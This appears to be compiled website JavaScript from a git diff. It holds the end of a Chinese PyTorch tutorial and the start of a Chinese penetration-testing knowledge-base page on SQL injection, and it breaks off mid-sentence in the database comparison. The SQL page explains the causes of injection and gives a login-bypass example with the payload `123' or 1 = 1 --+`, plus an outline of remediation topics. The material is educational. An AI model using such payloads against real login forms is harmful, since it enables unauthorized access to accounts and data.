\u5e76\u6ca1\u6709\u5b9a\u4e49\u4e00\u4e2a\u7f51\u7edc\uff0c\u5b83\u53ea\u662f\u5c06\u4e0d\u540c\u7684\u6a21\u5757\u50a8\u5b58\u5728\u4e00\u8d77\u3002",(0,l.jsx)(n.code,{children:"ModuleList"}),"\u4e2d\u5143\u7d20\u7684\u5148\u540e\u987a\u5e8f\u5e76\u4e0d\u4ee3\u8868\u5176\u5728\u7f51\u7edc\u4e2d\u7684\u771f\u5b9e\u4f4d\u7f6e\u987a\u5e8f\uff0c\u9700\u8981\u7ecf\u8fc7forward\u51fd\u6570\u6307\u5b9a\u5404\u4e2a\u5c42\u7684\u5148\u540e\u987a\u5e8f\u540e\u624d\u7b97\u5b8c\u6210\u4e86\u6a21\u578b\u7684\u5b9a\u4e49\u3002\u5177\u4f53\u5b9e\u73b0\u65f6\u7528for\u5faa\u73af\u5373\u53ef\u5b8c\u6210\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"class model(nn.Module):\n def __init__(self, ...):\n super().__init__()\n self.modulelist = ...\n ...\n \n def forward(self, x):\n for layer in self.modulelist:\n x = layer(x)\n return x\n"})}),"\n",(0,l.jsx)(n.h2,{id:"514-moduledict",children:"5.1.4 ModuleDict"}),"\n",(0,l.jsxs)(n.p,{children:["\u5bf9\u5e94\u6a21\u5757\u4e3a",(0,l.jsx)(n.code,{children:"nn.ModuleDict()"}),"\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"ModuleDict"}),"\u548c",(0,l.jsx)(n.code,{children:"ModuleList"}),"\u7684\u4f5c\u7528\u7c7b\u4f3c\uff0c\u53ea\u662f",(0,l.jsx)(n.code,{children:"ModuleDict"}),"\u80fd\u591f\u66f4\u65b9\u4fbf\u5730\u4e3a\u795e\u7ecf\u7f51\u7edc\u7684\u5c42\u6dfb\u52a0\u540d\u79f0\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"net = nn.ModuleDict({\n 'linear': nn.Linear(784, 256),\n 'act': nn.ReLU(),\n})\nnet['output'] = nn.Linear(256, 10) # \u6dfb\u52a0\nprint(net['linear']) # \u8bbf\u95ee\nprint(net.output)\nprint(net)\n"})}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"Linear(in_features=784, out_features=256, bias=True)\nLinear(in_features=256, out_features=10, bias=True)\nModuleDict(\n (act): ReLU()\n (linear): Linear(in_features=784, out_features=256, bias=True)\n (output): Linear(in_features=256, out_features=10, bias=True)\n)\n"})}),"\n",(0,l.jsx)(n.h2,{id:"515-\u4e09\u79cd\u65b9\u6cd5\u7684\u6bd4\u8f83\u4e0e\u9002\u7528\u573a\u666f",children:"5.1.5 \u4e09\u79cd\u65b9\u6cd5\u7684\u6bd4\u8f83\u4e0e\u9002\u7528\u573a\u666f"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"Sequential"}),"\u9002\u7528\u4e8e\u5feb\u901f\u9a8c\u8bc1\u7ed3\u679c\uff0c\u56e0\u4e3a\u5df2\u7ecf\u660e\u786e\u4e86\u8981\u7528\u54ea\u4e9b\u5c42\uff0c\u76f4\u63a5\u5199\u4e00\u4e0b\u5c31\u597d\u4e86\uff0c\u4e0d\u9700\u8981\u540c\u65f6\u5199",(0,l.jsx)(n.code,{children:"__init__"}),"\u548c",(0,l.jsx)(n.code,{children:"forward"}),"\uff1b"]}),"\n",(0,l.jsx)(n.p,{children:"ModuleList\u548cModuleDict\u5728\u67d0\u4e2a\u5b8c\u5168\u76f8\u540c\u7684\u5c42\u9700\u8981\u91cd\u590d\u51fa\u73b0\u591a\u6b21\u65f6\uff0c\u975e\u5e38\u65b9\u4fbf\u5b9e\u73b0\uff0c\u53ef\u4ee5\u201d\u4e00\u884c\u9876\u591a\u884c\u201c\uff1b"}),"\n",(0,l.jsx)(n.p,{children:"\u5f53\u6211\u4eec\u9700\u8981\u4e4b\u524d\u5c42\u7684\u4fe1\u606f\u7684\u65f6\u5019\uff0c\u6bd4\u5982 ResNets \u4e2d\u7684\u6b8b\u5dee\u8ba1\u7b97\uff0c\u5f53\u524d\u5c42\u7684\u7ed3\u679c\u9700\u8981\u548c\u4e4b\u524d\u5c42\u4e2d\u7684\u7ed3\u679c\u8fdb\u884c\u878d\u5408\uff0c\u4e00\u822c\u4f7f\u7528 ModuleList/ModuleDict \u6bd4\u8f83\u65b9\u4fbf\u3002"}),"\n",(0,l.jsx)(n.h2,{id:"\u672c\u8282\u53c2\u8003",children:"\u672c\u8282\u53c2\u8003"}),"\n",(0,l.jsxs)(n.p,{children:["\u30101\u3011",(0,l.jsx)(n.a,{href:"https://zhuanlan.zhihu.com/p/64990232",children:"https://zhuanlan.zhihu.com/p/64990232"})]})]})}function h(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(a,{...e})}):a(e)}},28453:(e,n,i)=>{i.d(n,{R:()=>d,x:()=>t});var r=i(96540);const l={},s=r.createContext(l);function d(e){const n=r.useContext(s);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function t(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:d(e.components),r.createElement(s.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/a6a02242.501558d8.js b/en/assets/js/a6a02242.501558d8.js new file mode 100644 index 0000000..2d1c89f --- /dev/null +++ b/en/assets/js/a6a02242.501558d8.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6067],{28453:(e,n,l)=>{l.d(n,{R:()=>r,x:()=>c});var s=l(96540);const d={},i=s.createContext(d);function r(e){const n=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(d):e.components||d:r(e.components),s.createElement(i.Provider,{value:n},e.children)}},63287:(e,n,l)=>{l.r(n),l.d(n,{assets:()=>h,contentTitle:()=>c,default:()=>x,frontMatter:()=>r,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/README","title":"SQL\u6ce8\u5165","description":"\u4ecb\u7ecd","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"google\u67e5\u8be2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2"},"next":{"title":"\u6ce8\u5165\u5224\u65ad","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad"}}');var d=l(74848),i=l(28453);const r={},c="SQL\u6ce8\u5165",h={},o=[{value:"\u4ecb\u7ecd",id:"\u4ecb\u7ecd",level:2},{value:"\u4ea7\u751f\u539f\u56e0",id:"\u4ea7\u751f\u539f\u56e0",level:2},{value:"\u6ce8\u5165\u4e3e\u4f8b",id:"\u6ce8\u5165\u4e3e\u4f8b",level:2},{value:"\u5e94\u7528\u573a\u666f",id:"\u5e94\u7528\u573a\u666f",level:2},{value:"\u5173\u7cfb\u3001\u975e\u5173\u7cfb\u6570\u636e\u5e93",id:"\u5173\u7cfb\u975e\u5173\u7cfb\u6570\u636e\u5e93",level:2},{value:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\uff08SQL\uff09",id:"\u5173\u7cfb\u578b\u6570\u636e\u5e93sql",level:3},{value:"\u4ec0\u4e48\u662f\uff08SQL\uff09\u5173\u7cfb\u578b\u6570\u636e\u5e93",id:"\u4ec0\u4e48\u662fsql\u5173\u7cfb\u578b\u6570\u636e\u5e93",level:4},{value:"\u4ec0\u4e48\u662f\u5173\u7cfb\u6a21\u578b",id:"\u4ec0\u4e48\u662f\u5173\u7cfb\u6a21\u578b",level:4},{value:"\u5e38\u89c1\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf(ORDBMS)",id:"\u5e38\u89c1\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edfordbms",level:4},{value:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf",id:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf",level:4},{value:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf",id:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf",level:4},{value:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\uff08NOSQL\uff09",id:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93nosql",level:3},{value:"\u4ec0\u4e48\u662f\uff08NOSQL\uff09\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\uff1a",id:"\u4ec0\u4e48\u662fnosql\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93",level:4},{value:"\u5e38\u89c1\u7684NOSQL\u6570\u636e\u5e93",id:"\u5e38\u89c1\u7684nosql\u6570\u636e\u5e93",level:4},{value:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf",id:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf",level:4},{value:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf",id:"\u975e\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf",level:4},{value:"\u6f0f\u6d1e\u5371\u5bb3",id:"\u6f0f\u6d1e\u5371\u5bb3",level:2},{value:"\u4fee\u590d\u5efa\u8bae",id:"\u4fee\u590d\u5efa\u8bae",level:2},{value:"\u4ee3\u7801\u5c42\u9762",id:"\u4ee3\u7801\u5c42\u9762",level:3},{value:"\u8f93\u5165\u8fc7\u6ee4\uff08\u6b63\u5219\u8fc7\u6ee4\uff09",id:"\u8f93\u5165\u8fc7\u6ee4\u6b63\u5219\u8fc7\u6ee4",level:4},{value:"\u9884\u7f16\u8bd1SQL\u8bed\u53e5(\u53c2\u6570\u5316\u67e5\u8be2)",id:"\u9884\u7f16\u8bd1sql\u8bed\u53e5\u53c2\u6570\u5316\u67e5\u8be2",level:4},{value:"\u9884\u7f16\u8bd1\u4ee5\u53ca\u539f\u7406",id:"\u9884\u7f16\u8bd1\u4ee5\u53ca\u539f\u7406",level:5},{value:"PDO",id:"pdo",level:5},{value:"\u6f14\u793a",id:"\u6f14\u793a",level:5},{value:"0x04 \u5371\u5bb3",id:"0x04-\u5371\u5bb3",level:5},{value:"0x05 \u603b\u7ed3",id:"0x05-\u603b\u7ed3",level:5},{value:"\u6570\u636e\u5e93\u5c42\u9762",id:"\u6570\u636e\u5e93\u5c42\u9762",level:3},{value:"\u6700\u5c0f\u6743\u9650\u539f\u5219",id:"\u6700\u5c0f\u6743\u9650\u539f\u5219",level:4},{value:"\u7981\u7528\u654f\u611f\u51fd\u6570",id:"\u7981\u7528\u654f\u611f\u51fd\u6570",level:4},{value:"\u6743\u9650\u63a7\u5236",id:"\u6743\u9650\u63a7\u5236",level:4},{value:"\u7edf\u4e00\u7f16\u7801",id:"\u7edf\u4e00\u7f16\u7801",level:4},{value:"\u5176\u4ed6\u5c42\u9762",id:"\u5176\u4ed6\u5c42\u9762",level:3},{value:"\u9776\u573a",id:"\u9776\u573a",level:2},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function t(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",h5:"h5",header:"header",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(n.header,{children:(0,d.jsx)(n.h1,{id:"sql\u6ce8\u5165",children:"SQL\u6ce8\u5165"})}),"\n",(0,d.jsx)(n.h2,{id:"\u4ecb\u7ecd",children:"\u4ecb\u7ecd"}),"\n",(0,d.jsxs)(n.p,{children:["SQL\u662f\u64cd\u4f5c",(0,d.jsx)(n.a,{href:"https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E5%BA%93/103728?fromModule=lemma_inlink",children:"\u6570\u636e\u5e93"}),"\u6570\u636e\u7684\u7ed3\u6784\u5316\u67e5\u8be2\u8bed\u8a00\uff0c\u7f51\u9875\u7684\u5e94\u7528\u6570\u636e\u548c\u540e\u53f0\u6570\u636e\u5e93\u4e2d\u7684\u6570\u636e\u8fdb\u884c\u4ea4\u4e92\u65f6\u4f1a\u91c7\u7528SQL\u3002\u800cSQL\u6ce8\u5165\u662f\u5c06Web\u9875\u9762\u7684\u539f",(0,d.jsx)(n.a,{href:"https://baike.baidu.com/item/URL/110640?fromModule=lemma_inlink",children:"URL"}),"\u3001\u8868\u5355\u57df\u6216\u6570\u636e\u5305\u8f93\u5165\u7684\u53c2\u6570\uff0c\u4fee\u6539\u62fc\u63a5\u6210SQL\u8bed\u53e5\uff0c\u4f20\u9012\u7ed9Web\u670d\u52a1\u5668\uff0c\u8fdb\u800c\u4f20\u7ed9",(0,d.jsx)(n.a,{href:"https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E5%BA%93%E6%9C%8D%E5%8A%A1%E5%99%A8/613818?fromModule=lemma_inlink",children:"\u6570\u636e\u5e93\u670d\u52a1\u5668"}),"\u4ee5\u6267\u884c\u6570\u636e\u5e93\u547d\u4ee4\u3002\u5982Web\u5e94\u7528\u7a0b\u5e8f\u7684\u5f00\u53d1\u4eba\u5458\u5bf9\u7528\u6237\u6240\u8f93\u5165\u7684\u6570\u636e\u6216cookie\u7b49\u5185\u5bb9\u4e0d\u8fdb\u884c\u8fc7\u6ee4\u6216\u9a8c\u8bc1(\u5373\u5b58\u5728\u6ce8\u5165\u70b9)\u5c31\u76f4\u63a5\u4f20\u8f93\u7ed9\u6570\u636e\u5e93\uff0c\u5c31\u53ef\u80fd\u5bfc\u81f4\u62fc\u63a5\u7684SQL\u88ab\u6267\u884c\uff0c\u83b7\u53d6\u5bf9\u6570\u636e\u5e93\u7684\u4fe1\u606f\u4ee5\u53ca\u63d0\u6743\uff0c\u53d1\u751f",(0,d.jsx)(n.a,{href:"https://baike.baidu.com/item/SQL%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB/4766224?fromModule=lemma_inlink",children:"SQL\u6ce8\u5165\u653b\u51fb"}),"\u3002"]}),"\n",(0,d.jsx)(n.h2,{id:"\u4ea7\u751f\u539f\u56e0",children:"\u4ea7\u751f\u539f\u56e0"}),"\n",(0,d.jsx)(n.p,{children:"SQL\u6ce8\u5165\u4ea7\u751f\u7684\u539f\u56e0\u662f\u7f51\u7ad9\u5e94\u7528\u7a0b\u5e8f\u5728\u7f16\u5199\u65f6\u672a\u5bf9\u7528\u6237\u63d0\u4ea4\u81f3\u670d\u52a1\u5668\u7684\u6570\u636e\u8fdb\u884c\u5408\u6cd5\u6027\u6821\u9a8c\uff08\u7c7b\u578b\u3001\u957f\u5ea6\u3001\u4e1a\u52a1\u53c2\u6570\u5408\u6cd5\u6027\u3001\u654f\u611f\u5b57\u7b26\u7b49\uff09\uff0c\u540c\u65f6\u6ca1\u6709\u5bf9\u7528\u6237\u8f93\u5165\u6570\u636e\u8fdb\u884c\u6709\u6548\u5730\u7279\u6b8a\u5b57\u7b26\u8fc7\u6ee4\uff0c\u4f7f\u5f97\u7528\u6237\u7684\u8f93\u5165\u76f4\u63a5\u5e26\u5165\u6570\u636e\u5e93\u6267\u884c\uff0c\u8d85\u51fa\u4e86SQL\u8bed\u53e5\u539f\u6765\u8bbe\u8ba1\u7684\u9884\u671f\u7ed3\u679c\uff0c\u5bfc\u81f4\u4e86SQL\u6ce8\u5165\u6f0f\u6d1e\u3002"}),"\n",(0,d.jsx)(n.h2,{id:"\u6ce8\u5165\u4e3e\u4f8b",children:"\u6ce8\u5165\u4e3e\u4f8b"}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsx)(n.p,{children:"\u901a\u8fc7\u4e07\u80fd\u5bc6\u7801\u7684\u4e3e\u4f8b\uff0c\u6765\u7b80\u5355\u8bb2\u89e3SQL\u6ce8\u5165"}),"\n"]}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{className:"language-php",children:"fetch_row()){\n echo \"success\";\n}else{\n echo \"fail\";\n}\n"})}),"\n",(0,d.jsxs)(n.p,{children:["\u7528\u6237\u540d",(0,d.jsx)(n.code,{children:"username"}),"\u548c\u5bc6\u7801",(0,d.jsx)(n.code,{children:"password"}),"\u5747\u6765\u81ea\u4e8e\u7528\u6237\u7684\u76f4\u63a5\u4f20\u5165\uff0c\u65e0\u4efb\u4f55\u8fc7\u6ee4\uff0c\u540e\u76f4\u63a5\u62fc\u63a5\u5230SQL\u8bed\u53e5\u4e2d\u3002"]}),"\n",(0,d.jsx)(n.p,{children:"\u6b63\u5e38\u7528\u6237\u767b\u5f55\u662f\uff0c\u6b63\u5e38sql\u8bed\u53e5\u4e3a\uff1a"}),"\n",(0,d.jsx)(n.pre,{children:(0,d.jsx)(n.code,{className:"language-sql",children:"select * from users where username = 'admin' and password='password'\n"})}),"\n",(0,d.jsxs)(n.p,{children:["\u653b\u51fb\u8005\u5e26\u6076\u610f\u7684SQL\u8bed\u53e5\u8f93\u5165\u7684\u7528\u6237\u540d\u4e3a",(0,d.jsx)(n.code,{children:"admin"}),"\uff0c\u5bc6\u7801\u4e3a",(0,d.jsx)(n.code,{children:"123' or 1 = 1 --+ "}),"\uff0c\u56e0\u4e3a 1=1 \u6c38\u771f\uff0c\u6240\u4ee5\u4e5f\u5c31\u4f1a\u767b\u5f55\u6210\u529f"]}),"\n",(0,d.jsx)(n.h2,{id:"\u5e94\u7528\u573a\u666f",children:"\u5e94\u7528\u573a\u666f"}),"\n",(0,d.jsxs)(n.p,{children:[(0,d.jsx)(n.strong,{children:"SQL\u6ce8\u5165\u6f0f\u6d1e\u53ef\u80fd\u51fa\u73b0\u5728\u4e00\u5207\u4e0e\u6570\u636e\u5e93\u4ea4\u4e92\u7684\u5730\u65b9"}),"\uff0c\u5e38\u89c1\u4e3e\u4f8b\u5982\u4e0b\uff08\u4e3b\u8981\u8fd8\u662f\u5b58\u5728\u4e8e",(0,d.jsx)(n.strong,{children:"\u589e\u5220\u6539\u67e5"}),"\u56db\u4e2a\u5b57\u4e0a\uff09\uff1a"]}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsx)(n.p,{children:"\u7b80\u800c\u8a00\u4e4b\uff1a\u6240\u6709\u548c\u6570\u636e\u5e93\u4ea4\u4e92\u7684\u70b9\u5747\u53ef\u80fd\u5b58\u5728SQL\u6ce8\u5165"}),"\n"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(n.table,{children:[(0,d.jsx)(n.thead,{children:(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.th,{style:{textAlign:"left"},children:"\u5173\u952e\u5b57"}),(0,d.jsx)(n.th,{style:{textAlign:"left"},children:"\u529f\u80fd\u4e3e\u4f8b"})]})}),(0,d.jsxs)(n.tbody,{children:[(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u589e"}),(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u6ce8\u518c\u65b0\u7528\u6237\u3001\u521b\u5efa\u8ba2\u5355\u3001\u6dfb\u52a0\u6587\u7ae0\u2026\u2026"})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u5220"}),(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u5220\u9664\u7528\u6237\u3001\u5220\u9664\u8ba2\u5355\u2026\u2026"})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u6539"}),(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u4fee\u6539\u8ba2\u5355\u3001\u66f4\u65b0\u7528\u6237\u4fe1\u606f\u2026\u2026"})]}),(0,d.jsxs)(n.tr,{children:[(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u67e5"}),(0,d.jsx)(n.td,{style:{textAlign:"left"},children:"\u67e5\u8be2\u4fe1\u606f\u3001\u7b5b\u9009\u8ba2\u5355\u3001\u641c\u7d22\u6587\u7ae0\u2026\u2026"})]})]})]}),"\n",(0,d.jsx)(n.h2,{id:"\u5173\u7cfb\u975e\u5173\u7cfb\u6570\u636e\u5e93",children:"\u5173\u7cfb\u3001\u975e\u5173\u7cfb\u6570\u636e\u5e93"}),"\n",(0,d.jsx)(n.h3,{id:"\u5173\u7cfb\u578b\u6570\u636e\u5e93sql",children:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\uff08SQL\uff09"}),"\n",(0,d.jsx)(n.h4,{id:"\u4ec0\u4e48\u662fsql\u5173\u7cfb\u578b\u6570\u636e\u5e93",children:"\u4ec0\u4e48\u662f\uff08SQL\uff09\u5173\u7cfb\u578b\u6570\u636e\u5e93"}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsx)(n.p,{children:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u6307\u7684\u662f\u4f7f\u7528\u5173\u7cfb\u6a21\u578b\uff08\u4e8c\u7ef4\u8868\u683c\u6a21\u578b\uff09\u6765\u7ec4\u7ec7\u6570\u636e\u7684\u6570\u636e\u5e93\u3002"}),"\n"]}),"\n",(0,d.jsx)(n.h4,{id:"\u4ec0\u4e48\u662f\u5173\u7cfb\u6a21\u578b",children:"\u4ec0\u4e48\u662f\u5173\u7cfb\u6a21\u578b"}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsx)(n.p,{children:"\u5173\u7cfb\u6a21\u578b\u53ef\u4ee5\u7b80\u5355\u7406\u89e3\u4e3a\u4e8c\u7ef4\u8868\u683c\u6a21\u578b\uff0c\u800c\u4e00\u4e2a\u5173\u7cfb\u578b\u6570\u636e\u5e93\u5c31\u662f\u7531\u4e8c\u7ef4\u8868\u53ca\u5176\u4e4b\u95f4\u7684\u5173\u7cfb\u7ec4\u6210\u7684\u4e00\u4e2a\u6570\u636e\u7ec4\u7ec7\u3002"}),"\n"]}),"\n",(0,d.jsxs)(n.h4,{id:"\u5e38\u89c1\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edfordbms",children:["\u5e38\u89c1\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf(",(0,d.jsx)(n.a,{href:"https://baike.baidu.com/item/ORDBMS/870762",children:"ORDBMS"}),")"]}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"Oracle"}),"\n",(0,d.jsx)(n.li,{children:"MySql"}),"\n",(0,d.jsx)(n.li,{children:"Microsoft SQL Server"}),"\n",(0,d.jsx)(n.li,{children:"SQLite"}),"\n",(0,d.jsx)(n.li,{children:"PostgreSQL"}),"\n",(0,d.jsx)(n.li,{children:"IBM DB2"}),"\n"]}),"\n",(0,d.jsx)(n.h4,{id:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf",children:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u4f18\u52bf"}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u91c7\u7528\u4e8c\u7ef4\u8868\u7ed3\u6784\u975e\u5e38\u8d34\u8fd1\u6b63\u5e38\u5f00\u53d1\u903b\u8f91\uff08\u5173\u7cfb\u578b\u6570\u636e\u6a21\u578b\u76f8\u5bf9\u5c42\u6b21\u578b\u6570\u636e\u6a21\u578b\u548c\u7f51\u72b6\u578b\u6570\u636e\u6a21\u578b\u7b49\u5176\u4ed6\u6a21\u578b\u6765\u8bf4\u66f4\u5bb9\u6613\u7406\u89e3\uff09\uff1b"}),"\n",(0,d.jsx)(n.li,{children:"\u652f\u6301\u901a\u7528\u7684SQL\uff08\u7ed3\u6784\u5316\u67e5\u8be2\u8bed\u8a00\uff09\u8bed\u53e5\uff1b"}),"\n",(0,d.jsx)(n.li,{children:"\u4e30\u5bcc\u7684\u5b8c\u6574\u6027\u5927\u5927\u51cf\u5c11\u4e86\u6570\u636e\u5197\u4f59\u548c\u6570\u636e\u4e0d\u4e00\u81f4\u7684\u95ee\u9898\u3002\u5e76\u4e14\u5168\u90e8\u7531\u8868\u7ed3\u6784\u7ec4\u6210\uff0c\u6587\u4ef6\u683c\u5f0f\u4e00\u81f4\uff1b"}),"\n",(0,d.jsx)(n.li,{children:"\u53ef\u4ee5\u7528SQL\u53e5\u5b50\u591a\u4e2a\u8868\u4e4b\u95f4\u505a\u975e\u5e38\u7e41\u6742\u7684\u67e5\u8be2\uff1b"}),"\n",(0,d.jsx)(n.li,{children:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u63d0\u4f9b\u5bf9\u4e8b\u52a1\u7684\u652f\u6301\uff0c\u80fd\u4fdd\u8bc1\u7cfb\u7edf\u4e2d\u4e8b\u52a1\u7684\u6b63\u786e\u6267\u884c\uff0c\u540c\u65f6\u63d0\u4f9b\u4e8b\u52a1\u7684\u6062\u590d\u3001\u56de\u6eda\u3001\u5e76\u53d1\u63a7\u5236\u548c\u6b7b\u9501\u95ee\u9898\u7684\u89e3\u51b3\u3002"}),"\n",(0,d.jsx)(n.li,{children:"\u6570\u636e\u5b58\u50a8\u5728\u78c1\u76d8\u4e2d\uff0c\u5b89\u5168\u53ef\u9760\u3002"}),"\n"]}),"\n",(0,d.jsx)(n.h4,{id:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf",children:"\u5173\u7cfb\u578b\u6570\u636e\u5e93\u7684\u52a3\u52bf"}),"\n",(0,d.jsxs)(n.blockquote,{children:["\n",(0,d.jsx)(n.p,{children:(0,d.jsx)(n.strong,{children:"\u968f\u7740\u4e92\u8054\u7f51\u4f01\u4e1a\u7684\u4e0d\u65ad\u53d1\u5c55\uff0c\u6570\u636e\u65e5\u76ca\u589e\u591a\uff0c\u56e0\u6b64\u5173\u7cfb\u578b\u6570\u636e\u5e93\u9762\u5bf9\u6d77\u91cf\u7684\u6570\u636e\u4f1a\u5b58\u5728\u5f88\u591a\u7684\u4e0d\u8db3\u3002"})}),"\n"]}),"\n",(0,d.jsxs)(n.ol,{children:["\n",(0,d.jsx)(n.li,{children:"\u9ad8\u5e76\u53d1\u8bfb\u5199\u80fd\u529b\u5dee\uff1a\u7f51\u7ad9\u7c7b\u7528\u6237\u7684\u5e76\u53d1\u6027\u8bbf\u95ee\u975e\u5e38\u9ad8\uff0c\u800c\u4e00\u53f0\u6570\u636e\u5e93\u7684\u6700\u5927\u8fde\u63a5\u6570\u6709\u9650\uff0c\u4e14\u786c\u76d8 I/O \u6709\u9650\uff0c\u4e0d\u80fd\u6ee1\u8db3\u5f88\u591a\u4eba\u540c\u65f6\u8fde\u63a5\u3002"}),"\n",(0,d.jsxs)(n.li,{children:["\u6d77\u91cf\u6570\u636e\u60c5\u51b5\u4e0b\u8bfb\u5199\u6548\u7387\u4f4e\uff1a\u5bf9",(0,d.jsx)(n.a,{href:"https://cloud.tencent.com/solution/bigdata?from=10680",children:"\u5927\u6570\u636e"}),"\u91cf\u7684\u8868\u8fdb\u884c\u8bfb\u5199\u64cd\u4f5c\u65f6\uff0c\u9700\u8981\u7b49\u5f85\u8f83\u957f\u7684\u65f6\u95f4\u7b49\u5f85\u54cd\u5e94\u3002"]}),"\n",(0,d.jsx)(n.li,{children:"\u53ef\u6269\u5c55\u6027\u4e0d\u8db3\uff1a\u4e0d\u50cfweb server\u548capp 